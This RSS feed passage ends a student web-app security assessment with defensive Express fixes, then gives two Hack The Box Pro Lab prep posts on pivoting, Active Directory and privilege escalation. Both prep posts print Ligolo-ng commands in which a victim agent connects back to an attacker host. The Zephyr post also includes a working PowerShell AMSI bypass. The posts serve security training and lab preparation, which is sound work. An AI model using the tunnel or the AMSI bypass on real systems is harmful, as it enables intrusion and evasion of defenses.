it</h3><p>Every finding has a short, concrete fix. These examples assume Express, which this app uses.</p><h3>1. Lock the admin routes behind real authentication and a role check</h3><p>Put the guard in front of everything under /api/v1/admin, so new admin routes are protected by default:</p><pre>function requireAdmin(req, res, next) {<br>  const token = (req.headers.authorization || &#39;&#39;).replace(&#39;Bearer &#39;, &#39;&#39;);<br>  if (!token) {<br>    return res.status(401).json({ status: &#39;error&#39;, message: &#39;Authentication required.&#39; });<br>  }<br>  const user = verifyToken(token); // JWT or session lookup<br>  if (!user || user.role !== &#39;admin&#39;) {<br>    return res.status(403).json({ status: &#39;error&#39;, message: &#39;Forbidden.&#39; });<br>  }<br>  req.user = user;<br>  next();<br>}</pre><pre>app.use(&#39;/api/v1/admin&#39;, requireAdmin);</pre><p>Then apply least privilege and move toward role-based access control, so admin functionality is only reachable by authenticated, authorised staff.</p><h3>2. Add the missing security headers</h3><p>The helmet package sets a sensible baseline, including X-Content-Type-Options: nosniff and a clickjacking protection header, in one line:</p><pre>const helmet = require(&#39;helmet&#39;);<br>app.use(helmet());</pre><p>Then tune a Content-Security-Policy for your pages and compare the result with the OWASP Secure Headers Project baseline.</p><h3>3. Rate-limit public forms</h3><pre>const rateLimit = require(&#39;express-rate-limit&#39;);</pre><pre>app.set(&#39;trust proxy&#39;, 1); // needed behind Render&#39;s proxy, or every user looks like one IP</pre><pre>const contactLimiter = rateLimit({<br>  windowMs: 15 * 60 * 1000, // 15 minutes<br>  limit: 5,                 // 5 submissions per IP per window<br>  standardHeaders: true,<br>  legacyHeaders: false,<br>});</pre><pre>app.use(&#39;/api/v1/contact&#39;, contactLimiter);</pre><p>For high-traffic forms, add a CAPTCHA or a submission token on top.</p><h3>4. Shrink the attack surface</h3><ul><li>Review every public route and confirm each one is meant to be public.</li><li>Don’t use /admin/ naming on anything reachable without authentication.</li><li>Keep the existing server-side validation, and apply the same rules to every new field.</li></ul><h3>5. Prepare for the day you render user content</h3><p>If submissions are ever displayed in a page, use a templating engine with automatic escaping, or encode output explicitly. Never insert user text with innerHTML.</p><h3>6. Make the tests permanent</h3><p>The project already has a test/ folder. Add a regression test for each finding (an unauthenticated request to an admin route must return 401, responses must carry the expected headers, repeated submissions must eventually return 429) so the same hole can&#39;t quietly reopen.</p><h3>What I took away</h3><ol><li><strong>A URL is not a lock.</strong> Naming a route /admin/ protects nothing. Authentication and authorisation have to be enforced on the server, on every request, and the easiest way to do that is a guard that covers a whole route prefix.</li><li><strong>“It didn’t execute” is not “it’s safe.”</strong> The XSS test passed only because nothing displays user input yet. Safety that depends on a feature you haven’t built is borrowed time.</li><li><strong>Cheap defaults beat clever fixes.</strong> Security headers and rate limiting are a few lines each. Adding them at the start is far easier than retrofitting them under pressure.</li><li><strong>Build and break in the same project.</strong> Writing the app first made every finding easier to explain, because I knew exactly where the corner was cut.</li><li><strong>Be honest about the evidence.</strong> Looking back, my rate-limit test could have been stronger, and my IDOR test only means something once there are private records to protect. Saying so is part of doing security work properly.</li></ol><p><strong>Limits of this study:</strong> The site is a simplified model of a university system. No login or session layer, no real database and no payment flow. I tested only the application layer, on a single point in time. Network, server and hosting infrastructure were out of scope. A real portal will have more moving parts, and more places for the same mistakes to hide.</p><p><strong>Where next?</strong> Add a full authentication and session layer and test it for session fixation, broken authentication and privilege escalation. Wire OWASP ZAP into a CI pipeline and compare what automation finds against the manual results.</p><p>And a standing reminder: only test systems you own or have written permission to test.</p><p><em>This project was completed at the Department of Cyber Security Science, Faculty of Computing and Informatics, Ladoke Akintola University of Technology, Ogbomoso, with Taofeeq Abass Tunde and Bolumade Qudus Ajani, under the supervision of Prof. (Mrs) O. I. Omotosho.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90645dafa110" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Chained 13 Boxes Across Two Domains on HTB’s Dante Pro Lab (and My Notes App Still Hasn’t…]]></title>
            <link>https://medium.com/@oluwalanagodwin9/i-chained-13-boxes-across-two-domains-on-htbs-dante-pro-lab-and-my-notes-app-still-hasn-t-28995816980b?source=rss-19cd3ed1c65d------2</link>
            <guid isPermaLink="false">https://medium.com/p/28995816980b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-application-attack]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[RAVENØX]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 06:16:13 GMT</pubDate>
            <atom:updated>2026-11-12T06:16:13.599Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>I Chained 13 Boxes Across Two Domains on HTB’s Dante Pro Lab (and My Notes App Still Hasn’t Recovered)</strong></h3><p>Just wrapped up Dante, one of HTB’s Pro Labs. Two Active Directory forests, a mix of Linux and Windows boxes, several days of chaining footholds together.</p><p>This is not a walkthrough, and I’m not confirming what’s in the lab, what order anything goes in, or which techniques apply to which box. Just the general skill areas worth being sharp on before you go in.</p><h4><strong>Enumeration is a loop, not a phase</strong></h4><p>The first scan is never the whole picture. New credentials, shares, hostnames, and network ranges keep appearing as you move. Treat enumeration as something you return to after every foothold, not a checkbox you finish in the first hour.</p><p><strong>What I’d practise:</strong></p><ul><li>Full TCP scans, then targeted service enumeration.</li><li>Reading SMB, FTP, web, and mail services properly instead of only checking for a version.</li><li>Keeping a live list of users, hashes, passwords, hosts, and reachable subnets.</li><li>Re-enumerating old hosts with new credentials.</li></ul><h4><strong>Web apps are still a front door</strong></h4><p>A web application can look like a side quest and end up being the most direct path into a network. Spend time on authentication, uploads, file handling, query parameters, CMS plugins, and administrative panels. Learn what the vulnerability actually gives you, not just whether a scanner flags it.</p><p>The useful question is always: what can I do with this that I could not do before?</p><h4>Linux privilege escalation: read the system</h4><p>Don’t just run an enumeration script and wait for a red line. Understand the machine.</p><p><strong>Look at:</strong></p><ul><li>sudo -l and the exact command permissions.</li><li>SUID/SGID binaries and unusual file capabilities.</li><li>Cron jobs, timers, and scripts executed by other users.</li><li>Writable service files, PATH issues, and unsafe imports.</li><li>Group memberships that quietly grant more access than they appear to.</li><li>Kernel and package versions — but only after the basics.</li></ul><p>The best learning moment is when you can explain why a misconfiguration is dangerous. That explanation is also what turns a lucky shell into a repeatable technique.</p><h4>Windows privilege escalation: permissions are the story</h4><p>On Windows, privilege escalation often lives in the space between what an account is allowed to do and what a service assumes it is allowed to do.</p><p><strong>Get comfortable with:</strong></p><ul><li>Service ACLs and who can change, start, or stop a service.</li><li>Unquoted service paths and writable service directories.</li><li>Token privileges and impersonation.</li><li>Stored credentials, unattended files, and application configuration.</li><li>AV/EDR interference, including AMSI, and how to troubleshoot your tooling when it gets blocked.</li></ul><p>Again: understand the permission model. The exploit is usually the easy part.</p><h4>Active Directory: fundamentals beat magic</h4><p>BloodHound is excellent. It is not a replacement for understanding AD.</p><p><strong>Be solid on:</strong></p><ul><li>Kerberos basics: AS-REP, Kerberoasting, pass-the-hash, pass-the-ticket.</li><li>ACL abuse and why a single permission can matter more than group membership.</li><li>Delegation, including resource-based constrained delegation and shadow credentials.</li><li>Trust relationships between domains and forests.</li><li>Domain replication, DCSync, and the permissions required for it.</li><li>Manual LDAP and SMB enumeration alongside the graph.</li></ul><p>The graph shows you relationships. You still have to understand what those relationships mean and whether the path is actually usable.</p><h4>Pivoting: know what you can actually reach</h4><p>A compromised host does not automatically give you the network you think it does. Check routes, firewall rules, listening services, and what the host can reach that your attack box cannot.</p><p>Ligolo-ng is worth learning properly:</p><pre># attacker side<br>sudo ip tuntap add user kali mode tun ligolo<br>sudo ip link set ligolo up<br>sudo ip route add 192.168.X.0/24 dev ligolo<br>sudo ./proxy -selfcert -laddr 0.0.0.0:443</pre><pre># victim side<br>./agent -connect &lt;attacker-ip&gt;:443 -ignore-cert</pre><p>A second pivot is usually the same pattern with another interface and another route once you find a dual-homed host. SSH SOCKS, chisel, and framework port forwarding are all worth having as backups. The tool matters less than understanding the path.</p><h4>Credentials and secrets: follow the reuse</h4><p>The recurring theme in any realistic internal network is credential reuse. A password found in one place can authenticate somewhere completely unrelated.</p><p><strong>Look in the boring places:</strong></p><ul><li>Configuration files, scripts, and deployment folders.</li><li>Shell history and application logs.</li><li>Shares, exports, backups, and spreadsheets.</li><li>Packet captures and chat exports.</li><li>AD attributes and descriptions.</li><li>Password patterns and small mutations of known passwords.</li></ul><p>This is also the part that makes a lab feel realistic: one weak credential is rarely the end. It is the next starting point.</p><h4>Databases and automation are quiet high-value targets</h4><p>Database servers and automation platforms often sit behind a normal-looking service but hold disproportionate power.</p><p>For databases, understand authentication, roles, impersonation, linked servers, and operating-system command execution features. For CI/CD and automation platforms, understand who can run code, what context it runs in, and what credentials are available to it.</p><p>If an application can execute code by design, the security question is not whether RCE is possible , it is who can reach that feature and what privileges it has.</p><h4>Notes and reporting: your memory is not evidence</h4><p>Take notes while you work, not after. Record the command, the output, the timestamp, the host, and the impact. Screenshots are useful, but a clean command log and a short explanation are what make a finding reproducible.</p><p><strong>A simple note structure goes a long way:</strong></p><pre>Host:<br>Access level:<br>Credentials / hashes:<br>Reachable networks:<br>Commands that worked:<br>Evidence path:<br>Next action:</pre><p>If you cannot explain how you got from A to B, you are not finished documenting it.</p><h3>General advice</h3><ul><li>Enumerate twice.</li><li>Do not trust automated tools blindly.</li><li>If you cannot explain why a technique works, go learn that before you rely on it.</li><li>Pivot deliberately and confirm your routes.</li><li>Keep a credential and host map updated.</li><li>Take breaks. Fatigue makes you miss the obvious thing on screen.</li></ul><h4>Tools worth having in your kit</h4><p>Nmap, Burp Suite, ffuf or feroxbuster, NetExec, Impacket, BloodHound/SharpHound, Ligolo-ng, chisel, Responder, hashcat, John the Ripper, Wireshark, pspy, WinPEAS/LinPEAS, PowerView, Rubeus, Certipy, Evil-WinRM, sqlmap, and a notes app you actually use.</p><p>Use Metasploit selectively. Knowing how to do something manually is still valuable when the framework does not fit the path.</p><h4>Final thoughts</h4><p>Dante is a good reminder that internal network testing is mostly discipline: enumerate, understand, pivot, document, repeat. The flashy techniques matter, but the assessment is usually decided by the unglamorous work around them.</p><blockquote>##No flags, hostnames, credentials, or lab-specific paths in this post. Just the skills.</blockquote><p><strong>Solid lab. Would get humbled again.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*avsnSXtTWc1rwdqv1KT3wQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28995816980b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Finally Beat Zephyr and My Brain Is Fried (in a good way)]]></title>
            <link>https://medium.com/@oluwalanagodwin9/i-finally-beat-zephyr-and-my-brain-is-fried-in-a-good-way-8080627d8ebe?source=rss-19cd3ed1c65d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8080627d8ebe</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[RAVENØX]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 04:43:57 GMT</pubDate>
            <atom:updated>2026-11-12T07:22:31.045Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Just wrapped up Zephyr, one of HTB’s Pro Labs. 17 boxes, multiple domains, 4 days of my brain melting in a good way.</strong></p><p><strong>This is not a walkthrough, neither am i confirming what’s in the lab, what order anything goes in, or which techniques apply to which box. Just the general skill areas worth being sharp on before you go in, same way you’d prep for any lab like this.</strong></p><p><strong>Network stuff:<br> Get comfortable with pivoting before you rely on it under pressure — tools like Ligolo-ng, reading routing tables, figuring out what a compromised box can actually reach versus what it looks like it can reach.</strong></p><p><strong>Active Directory:<br> Know your fundamentals cold: Kerberoasting, pass-the-hash/pass-the-ticket, delegation (including the newer stuff like RBCD and Shadow Credentials), ACL abuse, and how trust relationships work between domains and forests. BloodHound is great but don’t let it replace manual enumeration.</strong></p><p><strong>Linux and Windows privesc:<br> Understanding how to identify and exploit misconfigurations on both Linux and Windows systems. This includes checking file permissions, services, stored credentials, and sudo settings on Linux, as well as user privileges, service configurations, tokens, and saved credentials on Windows. The important thing is to understand why a misconfiguration creates a security risk, instead of just running a script and hoping.</strong></p><blockquote><strong>Pivoting — get comfortable with Ligolo-ng. You will not see the whole network from your first box. Expect to tunnel into new subnets repeatedly as you go.</strong></blockquote><pre># attacker side — set up a tun interface and route<br>sudo ip tuntap add user kali mode tun ligolo<br>sudo ip link set ligolo up<br>sudo ip route add 192.168.X.0/24 dev ligolo<br>sudo ./proxy -selfcert -laddr 0.0.0.0:443</pre><pre><strong># victim side — connect the agent back<br>./agent -connect &lt;attacker-ip&gt;:443 -ignore-cert</strong></pre><p><strong>Double pivots are just repeating this with a second tun interface once you find a dual-homed box.</strong></p><p><strong>Databases<br> SQL Server security is worth knowing beyond “it stores data” — authentication, impersonation, and how trust between database instances can become a security boundary nobody’s watching.</strong></p><blockquote><strong>AMSI</strong>, because it will block your tools eventually</blockquote><pre>$a = [Ref].Assembly.GetType(&#39;System.Management.Automation.AmsiUtils&#39;)<br>$f = $a.GetField(&#39;amsiInitFailed&#39;,&#39;NonPublic,Static&#39;)<br>$f.SetValue($null,$true)</pre><p><strong>General advice<br> Take real notes, don’t trust automated tools blindly, and if you can’t explain why a technique works, go learn that before you lean on it.</strong></p><h4><strong>Tools worth having in your kit</strong></h4><p>Pivoting — Ligolo-ng</p><p>AD enumeration — BloodHound, SharpHound, PowerView</p><p>Kerberos attacks — Impacket, Rubeus</p><p>Credential extraction — Mimikatz</p><p>Windows privesc — PowerUp, WinPEAS, PrivescCheck</p><p>SQL Server — PowerUpSQL</p><p>Access — Evil-WinRM</p><blockquote><strong>Solid lab. Would get humbled again.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EfHqxkloqOhG44MPibNkA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8080627d8ebe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>